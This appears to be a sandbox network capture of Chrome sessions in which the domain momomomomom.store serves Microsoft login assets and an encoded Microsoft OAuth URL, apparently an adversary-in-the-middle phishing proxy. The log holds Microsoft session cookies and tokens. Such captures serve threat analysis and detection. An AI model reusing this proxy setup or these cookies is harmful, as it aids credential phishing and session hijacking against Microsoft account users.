Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49776	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:45 UTC	2734	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:46 UTC	1392	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:46 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 024f31d0-701e-0069-66ac-a0d4af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182845Z-17859dc676bkg4plzefby8dqc400000005d000000000r2vm x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:46 UTC	14992	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E ]$\|zmk3h-SznuJ2V.tx~%Y
2024-05-07 18:28:46 UTC	1392	IN	Data Raw: 72 6b 95 a9 2b 79 ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc 39 29 c7 a0 ce 44 e6 3f 50 4a dd 0c d3 fd 3e c9 31 50 46 1b Data Ascii: rk+yzxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21 t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY ={ (ka9)D?PJ>1PF
2024-05-07 18:28:46 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7 rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2024-05-07 18:28:46 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-? v Q dNN:LtjAuZb2w'u0dH 3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49777	52.96.109.242	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:45 UTC	702	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://momomomomom.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:45 UTC	1792	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: bd97ad85-75ce-e401-16fe-170c60f9ae53 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedBETarget: BL0PR13MB4484.namprd13.prod.outlook.com X-BackEndHttpStatus: 200 Set-Cookie: ClientId=B05C9FB8E7CE475AB8DA94F2A474C0DF; expires=Wed, 07-May-2025 18:28:45 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=B05C9FB8E7CE475AB8DA94F2A474C0DF; expires=Wed, 07-May-2025 18:28:45 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Thu, 07-Nov-2024 18:28:45 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.7544.45&l:mouse; path=/; secure; HttpOnly X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS6 X-OWA-Version: 15.20.7544.44 X-OWA-DiagnosticsInfo: 2;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-05-07T18:28:45.517 X-BackEnd-End: 2024-05-07T18:28:45.517 X-DiagInfo: BL0PR13MB4484 X-BEServer: BL0PR13MB4484 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=MNZ&RemoteIP=156.146.37.0"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: MNZ X-FEProxyInfo: BL1PR13CA0214.NAMPRD13.PROD.OUTLOOK.COM X-FEEFZInfo: MNZ X-FEServer: BL1PR13CA0214 Date: Tue, 07 May 2024 18:28:45 GMT Connection: close
2024-05-07 18:28:45 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html> <html> <head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49779	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:48 UTC	2797	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:48 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:48 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 5c33c8e8-f01e-0061-0dac-a08cbe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182848Z-1675f555588wkpdv5dtxktc40000000005ng00000000gsuv x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:28:48 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9C C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49782	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:48 UTC	2791	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:49 UTC	743	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:49 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 76c4bf79-501e-0057-23ac-a057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182848Z-1675f555588n6bkdhznwtva8hg00000005cg00000000c0pd x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:28:49 UTC	15641	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF 